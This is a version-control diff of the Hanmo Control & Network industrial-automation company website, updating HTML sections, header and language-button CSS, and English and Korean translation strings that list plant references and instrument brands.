<div class="p-8"><h4 class="text-lg font-semibold text-slate-900 mb-3 font-premium" data-i18n="inst.i7.title">Vibration Monitors</h4><p class="text-slate-500 text-sm leading-relaxed mb-6 font-light" data-i18n="inst.i7.desc">Accelerometers and velocity sensors for predictive maintenance</p>
<div class="space-y-2 text-xs text-slate-600 mb-6"><div class="flex gap-2"><i class="fas fa-check text-blue-600"></i> Frequency: 0-20 kHz</div><div class="flex gap-2"><i class="fas fa-check text-blue-600"></i> Wireless capability</div><div class="flex gap-2"><i class="fas fa-check text-blue-600"></i> FFT analysis ready</div></div>
<a href="#contact" class="text-blue-600 font-bold text-xs uppercase tracking-widest hover:text-blue-700" data-i18n="inst.quote">Get Quote →</a>
</div>
</div>
<div class="bg-white rounded-[2.5rem] overflow-hidden border border-slate-100 hover:border-blue-200 transition-all hover:shadow-2xl group">
<div class="h-48 bg-gradient-to-br from-blue-50 to-blue-100 flex items-center justify-center"><i class="fas fa-microchip text-6xl text-blue-300 group-hover:text-blue-600 transition-colors"></i></div>
<div class="p-8"><h4 class="text-lg font-semibold text-slate-900 mb-3 font-premium" data-i18n="inst.i8.title">Smart Data Loggers</h4><p class="text-slate-500 text-sm leading-relaxed mb-6 font-light" data-i18n="inst.i8.desc">IoT-enabled data acquisition units with cloud connectivity</p>
<div class="space-y-2 text-xs text-slate-600 mb-6"><div class="flex gap-2"><i class="fas fa-check text-blue-600"></i> 16-32 analog channels</div><div class="flex gap-2"><i class="fas fa-check text-blue-600"></i> 4G/WiFi/Ethernet</div><div class="flex gap-2"><i class="fas fa-check text-blue-600"></i> Local data storage</div></div>
<a href="#contact" class="text-blue-600 font-bold text-xs uppercase tracking-widest hover:text-blue-700" data-i18n="inst.quote">Get Quote →</a>
</div>
</div>
</div>
<div class="mt-20 p-12 bg-gradient-to-r from-blue-600 to-blue-700 rounded-[2.5rem] text-white text-center">
<h3 class="text-3xl font-semibold mb-4 font-premium" data-i18n="inst.custom.title">Custom Integration Available</h3>
<p class="text-white/90 mb-8 max-w-2xl mx-auto font-light" data-i18n="inst.custom.desc">All instruments integrate seamlessly with our DCS and SCADA platforms.</p>
<a href="#contact" class="bg-white text-blue-600 hover:bg-slate-100 px-8 py-3 rounded-2xl font-bold transition-all inline-flex items-center gap-3 font-industrial text-xs tracking-widest uppercase" data-i18n="inst.custom.btn">Request Custom Configuration</a>
</div>
</div>
</section>
<!-- REFERENCES SECTION -->
<section id="services" class="py-32 bg-white"> <section id="services" class="py-32 bg-white">
<div class="container mx-auto px-6"> <div class="container mx-auto px-6">
<div class="text-center max-w-3xl mx-auto mb-24"> <div class="text-center max-w-3xl mx-auto mb-24">
<h2 class="text-blue-600 font-bold uppercase tracking-widest text-[11px] mb-4 font-industrial">Our Capabilities</h2> <h2 class="text-blue-600 font-bold uppercase tracking-widest text-[11px] mb-4 font-industrial" data-i18n="svc.badge">Referenced Plant Varieties</h2>
<h3 class="text-4xl md:text-6xl font-light text-slate-900 mb-8 premium-kerning font-premium">World-Class Automation</h3> <h3 class="text-4xl md:text-6xl font-light text-slate-900 mb-8 premium-kerning font-premium" data-i18n="svc.title">Versatile Automation References</h3>
<p class="text-slate-500 text-lg leading-relaxed font-light"> <p class="text-slate-500 text-lg leading-relaxed font-light" data-i18n="svc.desc">From Deep Understanding of various industry references to Seamless Execution.</p>
Specialized engineering for complex physical operations through advanced data integration and distributed control systems.
</p>
</div> </div>
<div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-8"> <div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-8">
<!-- DCS -->
<div class="service-card group flex flex-col h-full bg-slate-50 rounded-[2.5rem] overflow-hidden border border-transparent hover:border-blue-100 transition-all duration-500 hover:shadow-2xl"> <div class="service-card group flex flex-col h-full bg-slate-50 rounded-[2.5rem] overflow-hidden border border-transparent hover:border-blue-100 transition-all duration-500 hover:shadow-2xl">
<div class="h-56 overflow-hidden"> <div class="h-56 overflow-hidden"><img src="assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800" alt="DCS" class="service-image w-full h-full object-cover grayscale transition-all duration-700"></div>
<img src="https://images.unsplash.com/photo-1518770660439-4636190af475?auto=format&fit=crop&q=80&w=800" alt="DCS" class="service-image w-full h-full object-cover grayscale transition-all duration-700">
</div>
<div class="p-10 flex-grow flex flex-col"> <div class="p-10 flex-grow flex flex-col">
<div class="w-14 h-14 bg-white rounded-2xl shadow-sm flex items-center justify-center mb-8 group-hover:bg-blue-600 transition-all duration-500"> <div class="w-14 h-14 bg-white rounded-2xl shadow-sm flex items-center justify-center mb-8 group-hover:bg-blue-600 transition-all duration-500"><i class="fas fa-network-wired text-blue-600 group-hover:text-white text-xl"></i></div>
<i class="fas fa-network-wired text-blue-600 group-hover:text-white text-xl"></i> <h4 class="text-2xl font-normal text-slate-900 mb-4 font-premium" data-i18n="svc.s1.title">DCS Integration</h4>
</div> <!--<p class="text-slate-500 text-sm leading-relaxed mb-10 font-light flx-grow" data-i18n="svc.s1.desc">Semiconductor Solvent Recovery & Production Plant., 80% Hydragin Plant, SNCR & SCR Envirionmental Plant, etc</p>-->
<h4 class="text-2xl font-normal text-slate-900 mb-4 font-premium">DCS Integration</h4> <ul class="text-slate-500 text-xs md:text-sm
<p class="text-slate-500 text-sm leading-relaxed mb-10 font-light flex-grow"> leading-relaxed
Redundant control architectures for utility-scale industries including power and chemical plants. mb-8 md:mb-10
</p> font-light
<a href="#" class="text-blue-600 font-bold text-xs uppercase tracking-widest flex items-center gap-3"> flex-grow
Technical Specs <i class="fas fa-arrow-right"></i> space-y-3">
</a>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s1.item1"></span>
</li>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s1.item2"></span>
</li>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s1.item3"></span>
</li>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s1.item4"></span>
</li>
</ul>
<a href="#dcs" class="text-blue-600 font-bold text-xs uppercase tracking-widest flex items-center gap-3" data-i18n="svc.s1.link">Learn More <i class="fas fa-arrow-right"></i></a>
</div> </div>
</div> </div>
<!-- SCADA -->
<div class="service-card group flex flex-col h-full bg-slate-50 rounded-[2.5rem] overflow-hidden border border-transparent hover:border-blue-100 transition-all duration-500 hover:shadow-2xl"> <div class="service-card group flex flex-col h-full bg-slate-50 rounded-[2.5rem] overflow-hidden border border-transparent hover:border-blue-100 transition-all duration-500 hover:shadow-2xl">
<div class="h-56 overflow-hidden"> <div class="h-56 overflow-hidden"><img src="assets/images/reactor.png?auto=format&fit=crop&q=80&w=800" alt="SCADA" class="service-image w-full h-full object-cover grayscale transition-all duration-700"></div>
<img src="https://images.unsplash.com/photo-1551288049-bebda4e38f71?auto=format&fit=crop&q=80&w=800" alt="SCADA" class="service-image w-full h-full object-cover grayscale transition-all duration-700">
</div>
<div class="p-10 flex-grow flex flex-col"> <div class="p-10 flex-grow flex flex-col">
<div class="w-14 h-14 bg-white rounded-2xl shadow-sm flex items-center justify-center mb-8 group-hover:bg-blue-600 transition-all duration-500"> <div class="w-14 h-14 bg-white rounded-2xl shadow-sm flex items-center justify-center mb-8 group-hover:bg-blue-600 transition-all duration-500"><i class="fas fa-chart-line text-blue-600 group-hover:text-white text-xl"></i></div>
<i class="fas fa-chart-line text-blue-600 group-hover:text-white text-xl"></i> <h4 class="text-2xl font-normal text-slate-900 mb-4 font-premium" data-i18n="svc.s2.title">SCADA Design</h4>
</div> <!--<p class="text-slate-500 text-sm leading-relaxed mb-10 font-light flex-grow" data-i18n="svc.s2.desc">Real-time monitoring platforms with advanced HMI and secure remote access protocols.</p>-->
<h4 class="text-2xl font-normal text-slate-900 mb-4 font-premium">SCADA Design</h4> <ul class="text-slate-500 text-xs md:text-sm
<p class="text-slate-500 text-sm leading-relaxed mb-10 font-light flex-grow"> leading-relaxed
Real-time monitoring platforms with advanced HMI and secure remote access protocols. mb-8 md:mb-10
</p> font-light
<a href="#" class="text-blue-600 font-bold text-xs uppercase tracking-widest flex items-center gap-3"> flex-grow
Case Studies <i class="fas fa-arrow-right"></i> space-y-3">
</a>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s2.item1"></span>
</li>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s2.item2"></span>
</li>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s2.item3"></span>
</li>
</ul>
<a href="#services" class="text-blue-600 font-bold text-xs uppercase tracking-widest flex items-center gap-3" data-i18n="svc.s2.link">Case Studies <i class="fas fa-arrow-right"></i></a>
</div> </div>
</div> </div>
<!-- Database -->
<div class="service-card group flex flex-col h-full bg-slate-50 rounded-[2.5rem] overflow-hidden border border-transparent hover:border-blue-100 transition-all duration-500 hover:shadow-2xl"> <div class="service-card group flex flex-col h-full bg-slate-50 rounded-[2.5rem] overflow-hidden border border-transparent hover:border-blue-100 transition-all duration-500 hover:shadow-2xl">
<div class="h-56 overflow-hidden"> <div class="h-56 overflow-hidden"><img src="assets/images/bearing.png" alt="Historian" class="service-image w-full h-full object-cover grayscale transition-all duration-700"></div>
<img src="https://images.unsplash.com/photo-1558494949-ef010cbdcc48?auto=format&fit=crop&q=80&w=800" alt="Historian" class="service-image w-full h-full object-cover grayscale transition-all duration-700">
</div>
<div class="p-10 flex-grow flex flex-col"> <div class="p-10 flex-grow flex flex-col">
<div class="w-14 h-14 bg-white rounded-2xl shadow-sm flex items-center justify-center mb-8 group-hover:bg-blue-600 transition-all duration-500"> <div class="w-14 h-14 bg-white rounded-2xl shadow-sm flex items-center justify-center mb-8 group-hover:bg-blue-600 transition-all duration-500"><i class="fas fa-database text-blue-600 group-hover:text-white text-xl"></i></div>
<i class="fas fa-database text-blue-600 group-hover:text-white text-xl"></i> <h4 class="text-2xl font-normal text-slate-900 mb-4 font-premium" data-i18n="svc.s3.title">Data Historians</h4>
</div> <!--<p class="text-slate-500 text-sm leading-relaxed mb-10 font-light flex-grow" data-i18n="svc.s3.desc">Mission-critical SQL infrastructure optimized for massive industrial time-series data storage.</p>-->
<h4 class="text-2xl font-normal text-slate-900 mb-4 font-premium">Data Historians</h4> <ul class="text-slate-500 text-xs md:text-sm
<p class="text-slate-500 text-sm leading-relaxed mb-10 font-light flex-grow"> leading-relaxed
Mission-critical SQL infrastructure optimized for massive industrial time-series data storage. mb-8 md:mb-10
</p> font-light
<a href="#" class="text-blue-600 font-bold text-xs uppercase tracking-widest flex items-center gap-3"> flex-grow
Data Security <i class="fas fa-arrow-right"></i> space-y-3">
</a>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s3.item1"></span>
</li>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s3.item2"></span>
</li>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s3.item3"></span>
</li>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s3.item4"></span>
</li>
</ul>
<a href="#dbsvr" class="text-blue-600 font-bold text-xs uppercase tracking-widest flex items-center gap-3" data-i18n="svc.s3.link">Data Security <i class="fas fa-arrow-right"></i></a>
</div> </div>
</div> </div>
<!-- Instruments -->
<div class="service-card group flex flex-col h-full bg-slate-50 rounded-[2.5rem] overflow-hidden border border-transparent hover:border-blue-100 transition-all duration-500 hover:shadow-2xl"> <div class="service-card group flex flex-col h-full bg-slate-50 rounded-[2.5rem] overflow-hidden border border-transparent hover:border-blue-100 transition-all duration-500 hover:shadow-2xl">
<div class="h-56 overflow-hidden"> <div class="h-56 overflow-hidden"><img src="assets/images/instrument.png" alt="Instruments" class="service-image w-full h-full object-cover grayscale transition-all duration-700"></div>
<img src="https://images.unsplash.com/photo-1531482615713-2afd69097998?auto=format&fit=crop&q=80&w=800" alt="Instruments" class="service-image w-full h-full object-cover grayscale transition-all duration-700">
</div>
<div class="p-10 flex-grow flex flex-col"> <div class="p-10 flex-grow flex flex-col">
<div class="w-14 h-14 bg-white rounded-2xl shadow-sm flex items-center justify-center mb-8 group-hover:bg-blue-600 transition-all duration-500"> <div class="w-14 h-14 bg-white rounded-2xl shadow-sm flex items-center justify-center mb-8 group-hover:bg-blue-600 transition-all duration-500"><i class="fas fa-gauge-high text-blue-600 group-hover:text-white text-xl"></i></div>
<i class="fas fa-gauge-high text-blue-600 group-hover:text-white text-xl"></i> <h4 class="text-2xl font-normal text-slate-900 mb-4 font-premium" data-i18n="svc.s4.title">Control Instruments</h4>
</div> <!--<p class="text-slate-500 text-sm leading-relaxed mb-10 font-light flex-grow" data-i18n="svc.s4.desc">Smart field sensors for flow, pressure, and temperature with high-accuracy calibration.</p>-->
<h4 class="text-2xl font-normal text-slate-900 mb-4 font-premium">Control Instruments</h4> <ul class="text-slate-500 text-xs md:text-sm
<p class="text-slate-500 text-sm leading-relaxed mb-10 font-light flex-grow"> leading-relaxed
Smart field sensors for flow, pressure, and temperature with high-accuracy calibration. mb-8 md:mb-10
</p> font-light
<a href="#" class="text-blue-600 font-bold text-xs uppercase tracking-widest flex items-center gap-3"> flex-grow
Product Catalog <i class="fas fa-arrow-right"></i> space-y-3">
</a>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s4.item1"></span>
</li>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s4.item2"></span>
</li>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s4.item3"></span>
</li>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s4.item4"></span>
</li>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s4.item5"></span>
</li>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s4.item6"></span>
</li>
</ul>
<a href="#products" class="text-blue-600 font-bold text-xs uppercase tracking-widest flex items-center gap-3" data-i18n="svc.s4.link">Product Catalog <i class="fas fa-arrow-right"></i></a>
</div> </div>
</div> </div>
</div> </div>
@@ -257,9 +488,119 @@
<div class="container mx-auto px-6"> <div class="container mx-auto px-6">
<div class="grid lg:grid-cols-2 gap-20 items-center"> <div class="grid lg:grid-cols-2 gap-20 items-center">
<div class="relative"> <div class="relative">
<div class="aspect-square rounded-[3rem] overflow-hidden shadow-2xl"> <div class="aspect-square rounded-[3rem] overflow-hidden shadow-2xl"><img src="assets/images/ControlRoom7.png" alt="About Hanmo" class="w-full h-full object-cover"></div>
<img src="https://images.unsplash.com/photo-1504384308090-c894fdcc538d?auto=format&fit=crop&q=80&w=1000" alt="About Hanmo" class="w-full h-full object-cover">
</div>
<div class="absolute -bottom-10 -right-10 p-10 bg-blue-600 text-white rounded-[2rem] shadow-2xl max-w-xs"> <div class="absolute -bottom-10 -right-10 p-10 bg-blue-600 text-white rounded-[2rem] shadow-2xl max-w-xs">
<div class="text-6xl font-extralight mb-4 font-premium">15+</div> <div class="text-6xl font-extralight mb-4 font-premium">20+</div>
<div class="text-xs font-bold uppercase tracking-widest leading-lo <div class="text-xs font-bold uppercase tracking-widest leading-loose" data-i18n="about.years">Years of Industrial Excellence</div>
</div>
</div>
<div class="pt-10">
<h2 class="text-blue-600 font-bold uppercase tracking-widest text-[11px] mb-4 font-industrial" data-i18n="about.badge">About Hanmo</h2>
<h3 class="text-4xl md:text-5xl font-light text-slate-900 mb-8 premium-kerning font-premium" data-i18n="about.title">Trusted Partner in Industrial Automation</h3>
<p class="text-slate-500 leading-relaxed mb-6 font-light" data-i18n="about.p1">Since our founding, Hanmo Control & Network Co., Ltd. has been at the forefront of industrial automation engineering.</p>
<p class="text-slate-500 leading-relaxed mb-12 font-light" data-i18n="about.p2">Our team of 60+ certified engineers brings decades of combined experience in DCS, SCADA, and industrial networking.</p>
<div class="grid grid-cols-2 gap-6">
<div class="p-6 bg-white rounded-2xl border border-slate-100 shadow-sm">
<div class="text-3xl font-light text-slate-900 mb-1 font-premium">ISO 9001</div>
<div class="text-xs text-slate-400 uppercase tracking-widest font-industrial font-semibold" data-i18n="about.cert">Certified</div>
</div>
<div class="p-6 bg-white rounded-2xl border border-slate-100 shadow-sm">
<div class="text-3xl font-light text-slate-900 mb-1 font-premium">24 / 7</div>
<div class="text-xs text-slate-400 uppercase tracking-widest font-industrial font-semibold" data-i18n="about.support">Support</div>
</div>
</div>
</div>
</div>
</div>
</section>
<!-- CONTACT SECTION -->
<section id="contact" class="py-32 bg-slate-900">
<div class="container mx-auto px-6">
<div class="text-center max-w-3xl mx-auto mb-20">
<h2 class="text-blue-400 font-bold uppercase tracking-widest text-[11px] mb-4 font-industrial" data-i18n="contact.badge">Get In Touch</h2>
<h3 class="text-4xl md:text-6xl font-light text-white mb-8 premium-kerning font-premium" data-i18n="contact.title">Start Your Project</h3>
<p class="text-slate-400 text-lg leading-relaxed font-light" data-i18n="contact.desc">Contact our engineering team for a detailed consultation and project assessment.</p>
</div>
<div class="max-w-2xl mx-auto">
<div class="grid grid-cols-1 gap-5">
<div class="grid grid-cols-2 gap-5">
<input type="text" id="contact-name" data-i18n="contact.name" data-i18n-type="placeholder" placeholder="Full Name" class="bg-white/5 border border-white/10 text-white placeholder-slate-500 px-6 py-5 rounded-2xl focus:outline-none focus:border-blue-500 transition-colors font-light">
<input type="email" id="contact-email" data-i18n="contact.email" data-i18n-type="placeholder" placeholder="Email Address" class="bg-white/5 border border-white/10 text-white placeholder-slate-500 px-6 py-5 rounded-2xl focus:outline-none focus:border-blue-500 transition-colors font-light">
</div>
<input type="text" id="contact-company" data-i18n="contact.company" data-i18n-type="placeholder" placeholder="Company Name" class="bg-white/5 border border-white/10 text-white placeholder-slate-500 px-6 py-5 rounded-2xl focus:outline-none focus:border-blue-500 transition-colors font-light">
<textarea rows="5" id="contact-message" data-i18n="contact.msg" data-i18n-type="placeholder" placeholder="Describe your project requirements..." class="bg-white/5 border border-white/10 text-white placeholder-slate-500 px-6 py-5 rounded-2xl focus:outline-none focus:border-blue-500 transition-colors resize-none font-light"></textarea>
<button id="contact-submit" class="bg-blue-600 hover:bg-blue-700 text-white py-5 rounded-2xl font-bold transition-all hover:-translate-y-0.5 font-industrial text-xs tracking-widest uppercase shadow-2xl" data-i18n="contact.btn">Send Message</button>
<div id="contact-status" class="hidden p-5 rounded-2xl text-center font-light"></div>
</div>
</div>
</div>
</section>
</main>
<!-- FOOTER -->
<footer class="bg-slate-950 py-12 border-t border-white/5">
<div class="container mx-auto px-6 flex flex-col md:flex-row justify-between items-center gap-6">
<div class="flex items-center gap-3">
<div class="bg-blue-600 w-8 h-8 rounded-lg flex items-center justify-center">
<span class="text-white font-bold text-sm font-industrial">H</span>
</div>
<span class="text-white font-bold font-industrial text-sm">HANMO</span>
<span class="text-slate-500 text-xs font-industrial">Control & Network Co., Ltd.</span>
</div>
<p class="text-slate-600 text-xs font-light" data-i18n="footer.copy">© 2024 Hanmo Control & Network Co., Ltd. All rights reserved.</p>
</div>
</footer>
<!-- EmailJS SDK -->
<script src="https://cdn.jsdelivr.net/npm/@emailjs/browser@4/dist/email.min.js"></script>
<!-- i18n 먼저 로드 후 script.js -->
<script src="assets/js/i18n.js"></script>
<script src="assets/js/script.js"></script>
<!-- RIGHT-CLICK & COPY PROTECTION
<script>
// 우클릭 방지
document.addEventListener('contextmenu', function(e) {
e.preventDefault();
return false;
});
// 드래그 선택 방지
document.addEventListener('selectstart', function(e) {
e.preventDefault();
return false;
});
// 키보드 단축키 방지 (F12, Ctrl+U, Ctrl+S, Ctrl+Shift+I, Ctrl+Shift+J, Ctrl+Shift+C)
document.addEventListener('keydown', function(e) {
// F12
if (e.key === 'F12') {
e.preventDefault();
return false;
}
// Ctrl 조합 단축키
if (e.ctrlKey) {
const blocked = ['u', 's', 'p'];
if (blocked.includes(e.key.toLowerCase())) {
e.preventDefault();
return false;
}
// Ctrl+Shift 조합
if (e.shiftKey && ['i', 'j', 'c'].includes(e.key.toLowerCase())) {
e.preventDefault();
return false;
}
}
});
// 이미지 드래그 방지
document.addEventListener('dragstart', function(e) {
if (e.target.tagName === 'IMG') {
e.preventDefault();
return false;
}
});
</script> -->
</body>
</html>

View File

@@ -1 +1 @@
{"cpu_temp": "41", "nvme_temp": "34", "uptime_days": 2, "last_update": "22:07:01"} {"cpu_temp": "39", "nvme_temp": "33", "uptime_days": 4, "last_update": "10:51:01"}

View File

@@ -38,16 +38,70 @@ body {
filter: grayscale(0); filter: grayscale(0);
} }
/* ── 헤더 & 네비게이션 ───────────────────────────────────── */
/* 기본 상태: 투명 배경 위 (흰색 텍스트) */
.nav-link {
color: white;
}
#brand-name {
color: white;
}
/* 스크롤 시: 흰색 배경 (어두운 텍스트) */
#main-header.scrolled {
background: rgba(255, 255, 255, 0.95);
backdrop-filter: blur(16px);
box-shadow: 0 4px 20px rgba(0, 0, 0, 0.08);
}
#main-header.scrolled .nav-link {
color: #1e293b;
}
#main-header.scrolled #brand-name {
color: #1e293b;
}
/* ── 언어 전환 버튼 ───────────────────────────────────────── */ /* ── 언어 전환 버튼 ───────────────────────────────────────── */
/* 기본 상태: 투명 배경 위 (흰색) */
.lang-btn { .lang-btn {
background: transparent; background: transparent;
opacity: 0.5; color: white;
transition: all 0.2s; opacity: 0.85;
transition: all 0.3s;
} }
.lang-btn:hover { .lang-btn:hover {
opacity: 0.8;
}
.lang-btn.active-lang {
background: #2563eb;
opacity: 1; opacity: 1;
} }
.lang-btn.active-lang {
background: rgba(37, 99, 235, 0.9);
opacity: 1;
}
/* 스크롤 시: 흰색 배경 (어두운 텍스트) */
#main-header.scrolled .lang-btn {
color: #1e293b;
opacity: 0.7;
}
#main-header.scrolled .lang-btn:hover {
opacity: 1;
}
#main-header.scrolled .lang-btn.active-lang {
background: #2563eb;
color: white;
opacity: 1;
}
/* 언어 버튼 컨테이너 테두리 */
#lang-container {
border-color: rgba(255, 255, 255, 0.3);
}
#main-header.scrolled #lang-container {
border-color: rgba(0, 0, 0, 0.15);
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.5 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 338 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 MiB

View File

@@ -9,7 +9,7 @@ const translations = {
'nav.batch' : 'Batch Process', 'nav.batch' : 'Batch Process',
'nav.dbsvr' : 'Database Server', 'nav.dbsvr' : 'Database Server',
'nav.products' : 'Instruments', 'nav.products' : 'Instruments',
'nav.services' : 'Services', 'nav.services' : 'References',
'nav.about' : 'About', 'nav.about' : 'About',
'nav.contact' : 'Contact', 'nav.contact' : 'Contact',
'nav.quote' : 'Request Quote', 'nav.quote' : 'Request Quote',
@@ -43,8 +43,8 @@ const translations = {
'batch.badge' : 'Process Automation', 'batch.badge' : 'Process Automation',
'batch.title' : 'Batch Process Control', 'batch.title' : 'Batch Process Control',
'batch.desc' : 'Not only precision control, but also production planning, process data & historical lot management, you can get it by our Batch Manager software.', 'batch.desc' : 'Not only precision control, but also production planning, process data & historical lot management, you can get it by our Batch Manager software.',
'batch.f1.title': 'Batch Manager System', 'batch.f1.title': 'Batch Manager Software',
'batch.f1.desc' : 'Process control & data, production scheduling, and productionlot management in a software platform for HC900', 'batch.f1.desc' : 'Process control data and production data management per lot no. in a software platform',
'batch.f2.title': 'ControlEdge HC900', 'batch.f2.title': 'ControlEdge HC900',
'batch.f2.desc' : 'Over the PLC for continuous and batch process control, Hybrid Controller from Honeywell. it is perfect solution of batch plant', 'batch.f2.desc' : 'Over the PLC for continuous and batch process control, Hybrid Controller from Honeywell. it is perfect solution of batch plant',
'batch.f3.title': 'Process Data Management', 'batch.f3.title': 'Process Data Management',
@@ -92,28 +92,48 @@ const translations = {
'inst.custom.btn' : 'Request Custom Configuration', 'inst.custom.btn' : 'Request Custom Configuration',
'inst.quote' : 'Get Quote →', 'inst.quote' : 'Get Quote →',
// SERVICES // REFERENCES
'svc.badge' : 'Our Capabilities', 'svc.badge' : 'Referenced Plant Varieties',
'svc.title' : 'World-Class Automation', 'svc.title' : 'Versatile Automation References',
'svc.desc' : 'Specialized engineering for complex physical operations through advanced data integration and distributed control systems.', 'svc.desc' : 'From Deep Understanding of various industry references to Seamless Execution.',
'svc.s1.title' : 'DCS Integration', 'svc.s1.title' : 'DCS / SCADA',
'svc.s1.desc' : 'Redundant control architectures for utility-scale industries including power and chemical plants.', 'svc.s1.desc' : 'Semiconductor Solvent Recovery Plant., 80% Hydrazin Plant, SNCR & SCR Envirionmental Plant, etc',
'svc.s1.item1' : 'Semiconductor Solvent Recovery Plant',
'svc.s1.item2' : '80% Hydrazin Plant',
'svc.s1.item3' : 'SNCR & SCR in Power Plant',
'svc.s1.item4' : 'Oil Tank Terminal',
'svc.s1.link' : 'Learn More', 'svc.s1.link' : 'Learn More',
'svc.s2.title' : 'SCADA Design',
'svc.s2.title' : 'Batch Plant',
'svc.s2.desc' : 'Real-time monitoring platforms with advanced HMI and secure remote access protocols.', 'svc.s2.desc' : 'Real-time monitoring platforms with advanced HMI and secure remote access protocols.',
'svc.s2.item1' : 'Micro Capsule forming agent plant',
'svc.s2.item2' : 'ADCA,HDCA Plant',
'svc.s2.item3' : 'Vacuum Furnace Plant - Decorative Stainless Plate',
'svc.s2.link' : 'Case Studies', 'svc.s2.link' : 'Case Studies',
'svc.s3.title' : 'Data Historians',
'svc.s3.desc' : 'Mission-critical SQL infrastructure optimized for massive industrial time-series data storage.', 'svc.s3.title' : 'Other Projects',
'svc.s3.link' : 'Data Security', 'svc.s3.desc' : 'Various industrial automation projects.',
'svc.s4.title' : 'Control Instruments', 'svc.s3.item1' : 'Waste to Energy Incineration Plant',
'svc.s3.item2' : 'Copper Rod Continuous Casting Plant',
'svc.s3.item3' : 'Bearing Continuous Heat Treatment Plant',
'svc.s3.item4' : 'High Speed Cold Rolling Continuous Casting Plant',
'svc.s3.link' : 'CASE STUDIES',
'svc.s4.title' : 'Instruments',
'svc.s4.desc' : 'Smart field sensors for flow, pressure, and temperature with high-accuracy calibration.', 'svc.s4.desc' : 'Smart field sensors for flow, pressure, and temperature with high-accuracy calibration.',
'svc.s4.item1' : 'Honeywell',
'svc.s4.item2' : 'Azbil',
'svc.s4.item3' : 'Endress Hauser',
'svc.s4.item4' : 'Flownics',
'svc.s4.item5' : 'Komoto - (Motoyama Korea)',
'svc.s4.item6' : 'Autonics - (Konics)',
'svc.s4.link' : 'Product Catalog', 'svc.s4.link' : 'Product Catalog',
// ABOUT // ABOUT
'about.badge' : 'About Hanmo', 'about.badge' : 'About Hanmo',
'about.title' : 'Trusted Partner in Industrial Automation', 'about.title' : 'Trusted Partner in Industrial Automation',
'about.p1' : 'Since our founding, Hanmo Control & Network Co., Ltd. has been at the forefront of industrial automation engineering. We specialize in designing, implementing, and maintaining mission-critical control systems for the world\'s most demanding industries.', 'about.p1' : 'Since our founding, Hanmo Control & Network Co., Ltd. has been at the forefront of industrial automation engineering. We specialize in designing, implementing, and maintaining mission-critical control systems for the world\'s most demanding industries.',
'about.p2' : 'Our team of 60+ certified engineers brings decades of combined experience in DCS, SCADA, and industrial networking, ensuring your operations run with unmatched precision and reliability.', 'about.p2' : 'Our certified engineers brings decades of combined experience in DCS, SCADA, instrumentation and industrial networking, ensuring your operations run with unmatched precision and reliability.',
'about.cert' : 'Certified', 'about.cert' : 'Certified',
'about.support' : 'Support', 'about.support' : 'Support',
'about.years' : 'Years of Industrial Excellence', 'about.years' : 'Years of Industrial Excellence',
@@ -144,7 +164,7 @@ const translations = {
'nav.batch' : '배치 프로세스', 'nav.batch' : '배치 프로세스',
'nav.dbsvr' : '데이터베이스 서버', 'nav.dbsvr' : '데이터베이스 서버',
'nav.products' : '계측기기', 'nav.products' : '계측기기',
'nav.services' : '서비스', 'nav.services' : '실적 플랜트 분야',
'nav.about' : '회사소개', 'nav.about' : '회사소개',
'nav.contact' : '문의하기', 'nav.contact' : '문의하기',
'nav.quote' : '견적 요청', 'nav.quote' : '견적 요청',
@@ -161,13 +181,13 @@ const translations = {
'stat.years' : '년 업계 경력', 'stat.years' : '년 업계 경력',
// DCS // DCS
'dcs.badge' : '고급 제어 시스템', 'dcs.badge' : '공정 제어 시스템',
'dcs.title' : 'DCS 통합 솔루션', 'dcs.title' : 'DCS 통합 솔루션',
'dcs.desc' : '가장 중요한 공정 현장을 위한 엔터프라이즈급 분산 제어 시스템(DCS) 아키텍처를 설계합니다.', 'dcs.desc' : '중요한 공정 현장을 위한 엔터프라이즈급 분산 제어 시스템(DCS) 아키텍처를 설계합니다.',
'dcs.f0.title' : 'Honeywell Experion PKS', 'dcs.f0.title' : 'Honeywell Experion',
